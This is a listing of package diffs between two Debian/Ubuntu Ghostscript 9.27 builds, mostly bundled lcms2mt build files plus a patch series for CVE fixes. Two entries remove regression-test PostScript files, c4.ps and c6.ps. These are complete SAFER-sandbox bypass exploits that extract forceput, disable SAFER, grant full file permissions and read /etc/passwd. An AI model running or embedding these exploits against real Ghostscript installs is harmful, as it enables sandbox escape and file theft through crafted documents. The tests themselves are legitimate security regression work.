$(AK) $(stdio__h)\ - $(string__h) $(gdebug_h) $(gp_h) $(gsdevice_h) $(gserrors_h) $(gsmemory_h)\ - $(gsstate_h) $(gsstruct_h) $(gspaint_h) $(gstypes_h) $(gxalloc_h) $(gxstate_h)\ - $(gsnogc_h) $(pltop_h) $(psitop_h) $(plparse_h) $(gsicc_manage_h)\ - $(PSIGEN)pconf.h $(plfont_h) $(uconfig_h) $(pconfig_h) - $(PSICCC) $(PSISRC)psitop.c $(O_)$(PSI_TOP_OBJ) - -$(PSIOBJ)psi.dev: $(PSI_MAK) $(ECHOGS_XE) $(PLOBJ)pjl.dev - $(SETMOD) $(PSIOBJ)psi $(PSI_TOP_OBJ) - $(ADDMOD) $(PSIOBJ)psi -include $(PLOBJ)pl $(PLOBJ)pjl
  52. Download patch lcms2mt/lcms2mt.pc.in

    --- 9.27~dfsg-3.1/lcms2mt/lcms2mt.pc.in 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/lcms2mt.pc.in 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,11 @@ +prefix=@prefix@ +exec_prefix=@exec_prefix@ +libdir=@libdir@ +includedir=@includedir@ + +Name: @PACKAGE@ +Description: LCMS Color Management Library +Version: @VERSION@ +Libs: -L${libdir} -llcms2 +Libs.private: @LIB_MATH@ @LIB_THREAD@ +Cflags: -I${includedir}
  53. Download patch debian/tests/issues/bug_700317/c4.ps

    --- 9.27~dfsg-3.1/debian/tests/issues/bug_700317/c4.ps 2019-08-13 07:49:11.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/tests/issues/bug_700317/c4.ps 1970-01-01 00:00:00.000000000 +0000 @@ -1,62 +0,0 @@ - -% extract .actual_pdfpaintproc operator from pdfdict -/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def - -/exploit { - (Stage 11: Exploitation...) == - - /forceput exch def - - systemdict /SAFER false forceput - systemdict /userparams get /PermitFileControl [(*)] forceput - systemdict /userparams get /PermitFileWriting [(*)] forceput - systemdict /userparams get /PermitFileReading [(*)] forceput - - % All done. - stop -} def - -errordict /typecheck { - /typecount typecount 1 add def - (Stage 10: /typecheck #) print typecount == - - % The first error will be the .knownget, which we handle and setup the - % stack. The second error will be the ifelse (missing boolean), and then we - % dump the operands. - typecount 1 eq { null } if - typecount 2 eq { pop 7 get exploit } if - typecount 3 eq { (unexpected) == quit } if -} put - -% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some -% executable errays onto the operand stack that contain .forceput, but are not -% marked as executeonly or pseudo-operators. -% -% The routine was attempting to pass them to ifelse, but we can cause that to -% fail because when the routine was declared, it used `bind` but many of the -% names it uses are not operators and so are just looked up in the dictstack. -% -% This means we can push a dict onto the dictstack and control how the routine -% works. -<< - /typecount 0 - /PDFfile { (Stage 0: PDFfile) == currentfile } - /q { (Stage 1: q) == } % no-op - /oget { (Stage 3: oget) == pop pop 0 } % clear stack - /pdfemptycount { (Stage 4: pdfemptycount) == } % no-op - /gput { (Stage 5: gput) == } % no-op - /resolvestream { (Stage 6: resolvestream) == } % no-op - /pdfopdict { (Stage 7: pdfopdict) == } % no-op - /.pdfruncontext { (Stage 8: .pdfruncontext) == 0 1 mark } % satisfy counttomark and index - /pdfdict { (Stage 9: pdfdict) == - % cause a /typecheck error we handle above - true - } ->> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop - -( Should now have complete control over ghostscript, attempting to read /etc/passwd...) == - -% Demonstrate reading a file we shouldnt have access to. -(/etc/passwd) (r) file dup 64 string readline pop == closefile - -quit
  54. Download patch debian/libgs__VER__-common.dirs.in

    --- 9.27~dfsg-3.1/debian/libgs__VER__-common.dirs.in 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/libgs__VER__-common.dirs.in 2019-08-15 15:31:01.000000000 +0000 @@ -0,0 +1,2 @@ +# used only in ghostscript package, but linked from symlink shipped with library +var/lib/ghostscript/CMap
  55. Download patch lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/mariama.pbxuser
  56. Download patch lcms2mt/ChangeLog
  57. Download patch lcms2mt/include/Makefile.in
  58. Download patch lcms2mt/m4/ltsugar.m4

    --- 9.27~dfsg-3.1/lcms2mt/m4/ltsugar.m4 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/m4/ltsugar.m4 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,123 @@ +# ltsugar.m4 -- libtool m4 base layer. -*-Autoconf-*- +# +# Copyright (C) 2004, 2005, 2007, 2008 Free Software Foundation, Inc. +# Written by Gary V. Vaughan, 2004 +# +# This file is free software; the Free Software Foundation gives +# unlimited permission to copy and/or distribute it, with or without +# modifications, as long as this notice is preserved. + +# serial 6 ltsugar.m4 + +# This is to help aclocal find these macros, as it can't see m4_define. +AC_DEFUN([LTSUGAR_VERSION], [m4_if([0.1])]) + + +# lt_join(SEP, ARG1, [ARG2...]) +# ----------------------------- +# Produce ARG1SEPARG2...SEPARGn, omitting [] arguments and their +# associated separator. +# Needed until we can rely on m4_join from Autoconf 2.62, since all earlier +# versions in m4sugar had bugs. +m4_define([lt_join], +[m4_if([$#], [1], [], + [$#], [2], [[$2]], + [m4_if([$2], [], [], [[$2]_])$0([$1], m4_shift(m4_shift($@)))])]) +m4_define([_lt_join], +[m4_if([$#$2], [2], [], + [m4_if([$2], [], [], [[$1$2]])$0([$1], m4_shift(m4_shift($@)))])]) + + +# lt_car(LIST) +# lt_cdr(LIST) +# ------------ +# Manipulate m4 lists. +# These macros are necessary as long as will still need to support +# Autoconf-2.59 which quotes differently. +m4_define([lt_car], [[$1]]) +m4_define([lt_cdr], +[m4_if([$#], 0, [m4_fatal([$0: cannot be called without arguments])], + [$#], 1, [], + [m4_dquote(m4_shift($@))])]) +m4_define([lt_unquote], $1) + + +# lt_append(MACRO-NAME, STRING, [SEPARATOR]) +# ------------------------------------------ +# Redefine MACRO-NAME to hold its former content plus `SEPARATOR'`STRING'. +# Note that neither SEPARATOR nor STRING are expanded; they are appended +# to MACRO-NAME as is (leaving the expansion for when MACRO-NAME is invoked). +# No SEPARATOR is output if MACRO-NAME was previously undefined (different +# than defined and empty). +# +# This macro is needed until we can rely on Autoconf 2.62, since earlier +# versions of m4sugar mistakenly expanded SEPARATOR but not STRING. +m4_define([lt_append], +[m4_define([$1], + m4_ifdef([$1], [m4_defn([$1])[$3]])[$2])]) + + + +# lt_combine(SEP, PREFIX-LIST, INFIX, SUFFIX1, [SUFFIX2...]) +# ---------------------------------------------------------- +# Produce a SEP delimited list of all paired combinations of elements of +# PREFIX-LIST with SUFFIX1 through SUFFIXn. Each element of the list +# has the form PREFIXmINFIXSUFFIXn. +# Needed until we can rely on m4_combine added in Autoconf 2.62. +m4_define([lt_combine], +[m4_if(m4_eval([$# > 3]), [1], + [m4_pushdef([_Lt_sep], [m4_define([_Lt_sep], m4_defn([lt_car]))])]]dnl +[[m4_foreach([_Lt_prefix], [$2], + [m4_foreach([_Lt_suffix], + ]m4_dquote(m4_dquote(m4_shift(m4_shift(m4_shift($@)))))[, + [_Lt_sep([$1])[]m4_defn([_Lt_prefix])[$3]m4_defn([_Lt_suffix])])])])]) + + +# lt_if_append_uniq(MACRO-NAME, VARNAME, [SEPARATOR], [UNIQ], [NOT-UNIQ]) +# ----------------------------------------------------------------------- +# Iff MACRO-NAME does not yet contain VARNAME, then append it (delimited +# by SEPARATOR if supplied) and expand UNIQ, else NOT-UNIQ. +m4_define([lt_if_append_uniq], +[m4_ifdef([$1], + [m4_if(m4_index([$3]m4_defn([$1])[$3], [$3$2$3]), [-1], + [lt_append([$1], [$2], [$3])$4], + [$5])], + [lt_append([$1], [$2], [$3])$4])]) + + +# lt_dict_add(DICT, KEY, VALUE) +# ----------------------------- +m4_define([lt_dict_add], +[m4_define([$1($2)], [$3])]) + + +# lt_dict_add_subkey(DICT, KEY, SUBKEY, VALUE) +# -------------------------------------------- +m4_define([lt_dict_add_subkey], +[m4_define([$1($2:$3)], [$4])]) + + +# lt_dict_fetch(DICT, KEY, [SUBKEY]) +# ---------------------------------- +m4_define([lt_dict_fetch], +[m4_ifval([$3], + m4_ifdef([$1($2:$3)], [m4_defn([$1($2:$3)])]), + m4_ifdef([$1($2)], [m4_defn([$1($2)])]))]) + + +# lt_if_dict_fetch(DICT, KEY, [SUBKEY], VALUE, IF-TRUE, [IF-FALSE]) +# ----------------------------------------------------------------- +m4_define([lt_if_dict_fetch], +[m4_if(lt_dict_fetch([$1], [$2], [$3]), [$4], + [$5], + [$6])]) + + +# lt_dict_filter(DICT, [SUBKEY], VALUE, [SEPARATOR], KEY, [...]) +# -------------------------------------------------------------- +m4_define([lt_dict_filter], +[m4_if([$5], [], [], + [lt_join(m4_quote(m4_default([$4], [[, ]])), + lt_unquote(m4_split(m4_normalize(m4_foreach(_Lt_key, lt_car([m4_shiftn(4, $@)]), + [lt_if_dict_fetch([$1], _Lt_key, [$2], [$3], [_Lt_key ])])))))])[]dnl +])
  59. Download patch debian/ghostscript-doc.links
  60. Download patch lcms2mt/Projects/BorlandC_5.5/lcms2.rc

    --- 9.27~dfsg-3.1/lcms2mt/Projects/BorlandC_5.5/lcms2.rc 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/BorlandC_5.5/lcms2.rc 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,30 @@ + + +1 VERSIONINFO +FILEVERSION 2, 8, 0, 0 +PRODUCTVERSION 2, 8, 0, 0 +FILEOS VOS_NT_WINDOWS32 +FILETYPE VFT_DLL +{ + BLOCK "StringFileInfo" + { + BLOCK "040904E4" + { + VALUE "CompanyName", "Marti Maria\000\000" + VALUE "FileDescription", "lcms color engine\000" + VALUE "FileVersion", "2.08\000\000" + VALUE "InternalName", "lcms2\000" + VALUE "LegalCopyright", "Copyright © Marti Maria 2015\000\000" + VALUE "OriginalFilename", "lcms2.dll\000" + } + + } + + BLOCK "VarFileInfo" + { + VALUE "Translation", 0x409, 1252 + } + +} + +
  61. Download patch lcms2mt/m4/libtool.m4
  62. Download patch debian/patches/series

    --- 9.27~dfsg-3.1/debian/patches/series 2019-08-13 07:49:11.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/patches/series 2019-09-01 19:17:39.000000000 +0000 @@ -12,3 +12,11 @@ 2010_add_build_timestamp_setting.patch 2011_avoid_remote_font.patch 2012_avoid_googletagmanager.patch +020190822~863d77f_cups_pwgraster_output_device_produce_more_debug_output.patch +020190823~2d6bb6e_cups_pwgraster_output_device_reduced_page_size_comparison_tolerances.patch +020190824~3e09ced_cups_pwgraster_output_device_improved_page_size_matching_with_ppd.patch +020190825~3283e6d_cups_pwgraster_output_device_small_fix_on_size_matching_improvements.patch +020190825~30575d5_cups_pwgraster_output_device_prefer_the_page_size_requested_by_user.patch +020190825~4e220de_cups_pwgraster_output_device_do_not_output_luts_with_cups_debug_set.patch +CVE-2019-14811-CVE-2019-14812-CVE-2019-14813.patch +CVE-2019-14817.patch
  63. Download patch lcms2mt/config.sub
  64. Download patch lcms2mt/Projects/VC2010/lcms2mt_DLL/lcms2mt_DLL.vcxproj
  65. Download patch debian/libgs__VER__-common.install.in

    --- 9.27~dfsg-3.1/debian/libgs__VER__-common.install.in 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/libgs__VER__-common.install.in 2019-08-15 15:31:01.000000000 +0000 @@ -0,0 +1,3 @@ +# install subdir explicitly, to fail if wrong (same var used for symlink too) +usr/share/ghostscript/__ABI__/ +usr/share/color/icc/
  66. Download patch debian/copyright-check
  67. Download patch lcms2mt/Projects/VC2010/lcms2mt.rc

    --- 9.27~dfsg-3.1/lcms2mt/Projects/VC2010/lcms2mt.rc 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/VC2010/lcms2mt.rc 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,104 @@ +// Microsoft Visual C++ generated resource script. +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#define APSTUDIO_HIDDEN_SYMBOLS +#include "windows.h" +#undef APSTUDIO_HIDDEN_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// Spanish (Spain, International Sort) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ESN) +LANGUAGE LANG_SPANISH, SUBLANG_SPANISH_MODERN +#pragma code_page(1252) + +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +1 VERSIONINFO + FILEVERSION 2,8,0,0 + PRODUCTVERSION 2,8,0,0 + FILEFLAGSMASK 0x0L +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x40004L + FILETYPE 0x2L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904e4" + BEGIN + VALUE "CompanyName", "Marti Maria" + VALUE "FileDescription", "lcms color engine" + VALUE "FileVersion", "2.9.0.0" + VALUE "InternalName", "lcms" + VALUE "LegalCopyright", "Copyright © Marti Maria 2017" + VALUE "OriginalFilename", "lcms2mt.dll" + VALUE "ProductName", "LittleCMS color engine" + VALUE "ProductVersion", "2.9.0.0" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x409, 1252 + END +END + + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE +BEGIN + "#define APSTUDIO_HIDDEN_SYMBOLS\r\n" + "#include ""windows.h""\r\n" + "#undef APSTUDIO_HIDDEN_SYMBOLS\r\n" + "\0" +END + +3 TEXTINCLUDE +BEGIN + "\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + +#endif // Spanish (Spain, International Sort) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + Binary files 9.27~dfsg-3.1/lcms2mt/Projects/VC2010/lcms2mt.sln and 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/VC2010/lcms2mt.sln differ
  68. Download patch lcms2mt/m4/ax_check_compile_flag.m4

    --- 9.27~dfsg-3.1/lcms2mt/m4/ax_check_compile_flag.m4 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/m4/ax_check_compile_flag.m4 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,74 @@ +# =========================================================================== +# http://www.gnu.org/software/autoconf-archive/ax_check_compile_flag.html +# =========================================================================== +# +# SYNOPSIS +# +# AX_CHECK_COMPILE_FLAG(FLAG, [ACTION-SUCCESS], [ACTION-FAILURE], [EXTRA-FLAGS], [INPUT]) +# +# DESCRIPTION +# +# Check whether the given FLAG works with the current language's compiler +# or gives an error. (Warnings, however, are ignored) +# +# ACTION-SUCCESS/ACTION-FAILURE are shell commands to execute on +# success/failure. +# +# If EXTRA-FLAGS is defined, it is added to the current language's default +# flags (e.g. CFLAGS) when the check is done. The check is thus made with +# the flags: "CFLAGS EXTRA-FLAGS FLAG". This can for example be used to +# force the compiler to issue an error when a bad flag is given. +# +# INPUT gives an alternative input source to AC_COMPILE_IFELSE. +# +# NOTE: Implementation based on AX_CFLAGS_GCC_OPTION. Please keep this +# macro in sync with AX_CHECK_{PREPROC,LINK}_FLAG. +# +# LICENSE +# +# Copyright (c) 2008 Guido U. Draheim <guidod@gmx.de> +# Copyright (c) 2011 Maarten Bosmans <mkbosmans@gmail.com> +# +# This program is free software: you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by the +# Free Software Foundation, either version 3 of the License, or (at your +# option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General +# Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program. If not, see <http://www.gnu.org/licenses/>. +# +# As a special exception, the respective Autoconf Macro's copyright owner +# gives unlimited permission to copy, distribute and modify the configure +# scripts that are the output of Autoconf when processing the Macro. You +# need not follow the terms of the GNU General Public License when using +# or distributing such scripts, even though portions of the text of the +# Macro appear in them. The GNU General Public License (GPL) does govern +# all other use of the material that constitutes the Autoconf Macro. +# +# This special exception to the GPL applies to versions of the Autoconf +# Macro released by the Autoconf Archive. When you make and distribute a +# modified version of the Autoconf Macro, you may extend this special +# exception to the GPL to apply to your modified version as well. + +#serial 4 + +AC_DEFUN([AX_CHECK_COMPILE_FLAG], +[AC_PREREQ(2.64)dnl for _AC_LANG_PREFIX and AS_VAR_IF +AS_VAR_PUSHDEF([CACHEVAR],[ax_cv_check_[]_AC_LANG_ABBREV[]flags_$4_$1])dnl +AC_CACHE_CHECK([whether _AC_LANG compiler accepts $1], CACHEVAR, [ + ax_check_save_flags=$[]_AC_LANG_PREFIX[]FLAGS + _AC_LANG_PREFIX[]FLAGS="$[]_AC_LANG_PREFIX[]FLAGS $4 $1" + AC_COMPILE_IFELSE([m4_default([$5],[AC_LANG_PROGRAM()])], + [AS_VAR_SET(CACHEVAR,[yes])], + [AS_VAR_SET(CACHEVAR,[no])]) + _AC_LANG_PREFIX[]FLAGS=$ax_check_save_flags]) +AS_VAR_IF(CACHEVAR,yes, + [m4_default([$2], :)], + [m4_default([$3], :)]) +AS_VAR_POPDEF([CACHEVAR])dnl +])dnl AX_CHECK_COMPILE_FLAGS
  69. Download patch lcms2mt/Projects/cppcheck/lcms2.cppcheck

    --- 9.27~dfsg-3.1/lcms2mt/Projects/cppcheck/lcms2.cppcheck 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/cppcheck/lcms2.cppcheck 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,9 @@ +<?xml version="1.0" encoding="UTF-8"?> +<project version="1"> + <includedir> + <dir name="../../include/"/> + </includedir> + <paths> + <dir name="../../src"/> + </paths> +</project>
  70. Download patch debian/tests/issues/bug_700317/c6.ps

    --- 9.27~dfsg-3.1/debian/tests/issues/bug_700317/c6.ps 2019-08-13 07:49:11.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/debian/tests/issues/bug_700317/c6.ps 1970-01-01 00:00:00.000000000 +0000 @@ -1,70 +0,0 @@ - -% extract .actual_pdfpaintproc operator from pdfdict -/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def - -/exploit { - (Stage 11: Exploitation...) == - - % we cant access the contents of this routine (its executeonly), but it's - % not an operator, if we can make it stop we can pull out the contents from - % the error handler. - - /forceput exch def - -} def - -errordict /typecheck { - /typecount typecount 1 add def - (Stage 10: /typecheck #) print typecount == - - % The first error will be the .knownget, which we handle and setup the - % stack. The second error will be the ifelse (missing boolean), and then we - % dump the operands. - typecount 1 eq { null } if - typecount 2 eq { pop /extracted exch def stop } if - typecount 3 eq { exploit } if - typecount 4 eq { (unexpected) == quit } if -} put - -% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some -% executable errays onto the operand stack that contain .forceput, but are not -% marked as executeonly or pseudo-operators. -% -% The routine was attempting to pass them to ifelse, but we can cause that to -% fail because when the routine was declared, it used `bind` but many of the -% names it uses are not operators and so are just looked up in the dictstack. -% -% This means we can push a dict onto the dictstack and control how the routine -% works. -<< - /typecount 0 - /PDFfile { (Stage 0: PDFfile) == currentfile } - /q { (Stage 1: q) == } % no-op - /oget { (Stage 3: oget) == pop pop 0 } % clear stack - /pdfemptycount { (Stage 4: pdfemptycount) == } % no-op - /gput { (Stage 5: gput) == } % no-op - /resolvestream { (Stage 6: resolvestream) == } % no-op - /pdfopdict { (Stage 7: pdfopdict) == } % no-op - /.pdfruncontext { (Stage 8: .pdfruncontext) == 0 1 mark } % satisfy counttomark and index - /pdfdict { (Stage 9: pdfdict) == - % cause a /typecheck error we handle above - true - } ->> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop - -% now that we've unwound from the pseudo-op .actual_pdfpaintproc, call the -% extracted executeonly branch. -{ extracted } stopped pop - -systemdict /SAFER false forceput -systemdict /userparams get /PermitFileControl [(*)] forceput -systemdict /userparams get /PermitFileWriting [(*)] forceput -systemdict /userparams get /PermitFileReading [(*)] forceput - -% All done. -( Should now have complete control over ghostscript, attempting to read /etc/passwd...) == - -% Demonstrate reading a file we shouldnt have access to. -(/etc/passwd) (r) file dup 64 string readline pop == closefile - -quit
  71. Download patch lcms2mt/Projects/mac/LittleCMS/LittleCMS_Prefix.pch

    --- 9.27~dfsg-3.1/lcms2mt/Projects/mac/LittleCMS/LittleCMS_Prefix.pch 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/mac/LittleCMS/LittleCMS_Prefix.pch 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,5 @@ +// +// Prefix header for all source files of the 'LittleCMS' target in the 'LittleCMS' project. +// + +#include <Carbon/Carbon.h> Binary files 9.27~dfsg-3.1/lcms2mt/Projects/mac/LittleCMS/._LittleCMS.xcodeproj and 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/mac/LittleCMS/._LittleCMS.xcodeproj differ
  72. Download patch lcms2mt/m4/acx_pthread.m4
  73. Download patch lcms2mt/install-sh
  74. Download patch lcms2mt/Makefile.am

    --- 9.27~dfsg-3.1/lcms2mt/Makefile.am 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Makefile.am 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,55 @@ +# +# Top-Level Makefile for building LittleCMS 2 +# + +# Don't require all the GNU mandated files +AUTOMAKE_OPTIONS = 1.7.2 dist-zip foreign + +ACLOCAL_AMFLAGS = -I m4 + +PACKAGE_NAME = @PACKAGE_NAME@ +PACKAGE_VERSION = @PACKAGE_VERSION@ + +# Directories containing Makefiles to 'make' +SUBDIRS = src include utils/tificc utils/transicc utils/linkicc utils/jpgicc utils/psicc testbed + +# Additional files to distribute +EXTRA_DIST = AUTHORS COPYING ChangeLog doc Projects include bin Lib INSTALL README.1ST autogen.sh lcms2.pc.in + +pkgconfigdir = $(libdir)/pkgconfig +pkgconfig_DATA = lcms2.pc + +# Get names of plug-ins in the source package +PLUGIN_DIRECTORIES = $(sort $(dir $(wildcard plugins/*/))) + +# Make sure get rid of VC stuff... +clean-local: + find Projects -name "*.user" | xargs rm -rf + find Projects -name "Release" | xargs rm -rf + find Projects -name "Debug" | xargs rm -rf + find Projects -name "*.aps" | xargs rm -rf + find Projects -name "*.suo" | xargs rm -rf + find Projects -name "*.log" | xargs rm -rf + find Projects -name "*.sdf" | xargs rm -rf + find Projects -name "*.opensdf" | xargs rm -rf + find Projects -name "*.log" | xargs rm -rf + find Projects -name "ipch" | xargs rm -rf + @for d in $(PLUGIN_DIRECTORIES); do (cd $$d; $(MAKE) clean ); done + +# Handle plug-ins +all-local: + @for d in $(PLUGIN_DIRECTORIES); do (cd $$d; $(MAKE) $(AM_MAKEFLAGS) all ); done + +check-local: + @for d in $(PLUGIN_DIRECTORIES); do (cd $$d; $(MAKE) $(AM_MAKEFLAGS) check ); done + +install-exec-local: + @for d in $(PLUGIN_DIRECTORIES); do (cd $$d; $(MAKE) $(AM_MAKEFLAGS) install-exec ); done + +uninstall-local: + @for d in $(PLUGIN_DIRECTORIES); do (cd $$d; $(MAKE) $(AM_MAKEFLAGS) uninstall ); done + + + + +
  75. Download patch lcms2mt/autogen.sh

    --- 9.27~dfsg-3.1/lcms2mt/autogen.sh 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/autogen.sh 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,93 @@ +#!/bin/sh +# Run this to generate all the initial makefiles, etc. + +srcdir=`dirname $0` +test -z "$srcdir" && srcdir=. + +DIE=0 +ACLOCAL_FLAGS="-I m4" + +(test -f $srcdir/configure.ac) || { + echo -n "**Error**: Directory $srcdir does not look like the" + echo " top-level package directory" + exit 1 +} + +(autoconf --version) < /dev/null > /dev/null 2>&1 || { + echo + echo "**Error**: You must have autoconf installed." + echo "Download the appropriate package for your distribution," + echo "or get the source tarball at ftp://ftp.gnu.org/pub/gnu/" + DIE=1 +} + +(grep "^LT_INIT" $srcdir/configure.ac >/dev/null) && { + (libtool --version) < /dev/null > /dev/null 2>&1 || { + echo + echo "**Error**: You must have libtool installed." + echo "You can get it from: ftp://ftp.gnu.org/pub/gnu/" + DIE=1 + } +} + +(automake --version) < /dev/null > /dev/null 2>&1 || { + echo + echo "**Error**: You must have automake installed." + echo "You can get it from: ftp://ftp.gnu.org/pub/gnu/" + DIE=1 + NO_AUTOMAKE=yes +} + +# if no automake, don't bother testing for aclocal +test -n "$NO_AUTOMAKE" || (aclocal --version) < /dev/null > /dev/null 2>&1 || { + echo + echo "**Error**: Missing aclocal. The version of automake" + echo "installed doesn't appear recent enough." + echo "You can get automake from ftp://ftp.gnu.org/pub/gnu/" + DIE=1 +} + +if test "$DIE" -eq 1; then + exit 1 +fi + +if test -z "$*"; then + echo "**Warning**: I am going to run configure with no arguments." + echo "If you wish to pass any to it, please specify them on the" + echo $0 " command line." + echo +fi + +case $CC in +xlc ) + am_opt=--include-deps;; +esac + + aclocalinclude="$ACLOCAL_FLAGS" + + if grep "^LT_INIT" configure.ac >/dev/null; then + if test -z "$NO_LIBTOOLIZE" ; then + echo "Running libtoolize..." + libtoolize --force --copy + fi + fi + echo "Running aclocal $aclocalinclude ..." + aclocal $aclocalinclude + if grep "^AC_CONFIG_HEADERS" configure.ac >/dev/null; then + echo "Running autoheader..." + autoheader + fi + echo "Running automake --add-missing -copy --gnu -Wno-portability $am_opt ..." + automake --add-missing --copy --gnu -Wno-portability $am_opt + echo "Running autoconf ..." + autoconf + +conf_flags="--enable-maintainer-mode" + +if test x$NOCONFIGURE = x; then + echo "Running $srcdir/configure $conf_flags $@ ..." + $srcdir/configure $conf_flags "$@" \ + && echo "Now type make to compile." || exit 1 +else + echo "Skipping configure process." +fi
  76. Download patch lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/project.xcworkspace/contents.xcworkspacedata

    --- 9.27~dfsg-3.1/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/project.xcworkspace/contents.xcworkspacedata 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/project.xcworkspace/contents.xcworkspacedata 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,7 @@ +<?xml version="1.0" encoding="UTF-8"?> +<Workspace + version = "1.0"> + <FileRef + location = "self:LittleCMS.xcodeproj"> + </FileRef> +</Workspace> Binary files 9.27~dfsg-3.1/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/project.xcworkspace/xcuserdata/User.xcuserdatad/UserInterfaceState.xcuserstate and 9.27~dfsg+0-0ubuntu3/lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/project.xcworkspace/xcuserdata/User.xcuserdatad/UserInterfaceState.xcuserstate differ
  77. Download patch lcms2mt/m4/ax_require_defined.m4

    --- 9.27~dfsg-3.1/lcms2mt/m4/ax_require_defined.m4 1970-01-01 00:00:00.000000000 +0000 +++ 9.27~dfsg+0-0ubuntu3/lcms2mt/m4/ax_require_defined.m4 2019-04-04 07:43:14.000000000 +0000 @@ -0,0 +1,37 @@ +# =========================================================================== +# http://www.gnu.org/software/autoconf-archive/ax_require_defined.html +# =========================================================================== +# +# SYNOPSIS +# +# AX_REQUIRE_DEFINED(MACRO) +# +# DESCRIPTION +# +# AX_REQUIRE_DEFINED is a simple helper for making sure other macros have +# been defined and thus are available for use. This avoids random issues +# where a macro isn't expanded. Instead the configure script emits a +# non-fatal: +# +# ./configure: line 1673: AX_CFLAGS_WARN_ALL: command not found +# +# It's like AC_REQUIRE except it doesn't expand the required macro. +# +# Here's an example: +# +# AX_REQUIRE_DEFINED([AX_CHECK_LINK_FLAG]) +# +# LICENSE +# +# Copyright (c) 2014 Mike Frysinger <vapier@gentoo.org> +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. This file is offered as-is, without any +# warranty. + +#serial 1 + +AC_DEFUN([AX_REQUIRE_DEFINED], [dnl + m4_ifndef([$1], [m4_fatal([macro ]$1[ is not defined; is a m4 file missing?])]) +])dnl AX_REQUIRE_DEFINED
  78. Download patch lcms2mt/Projects/mac/LittleCMS/LittleCMS.xcodeproj/xcuserdata/User.xcuserdatad/xcschemes/LittleCMS.xcscheme

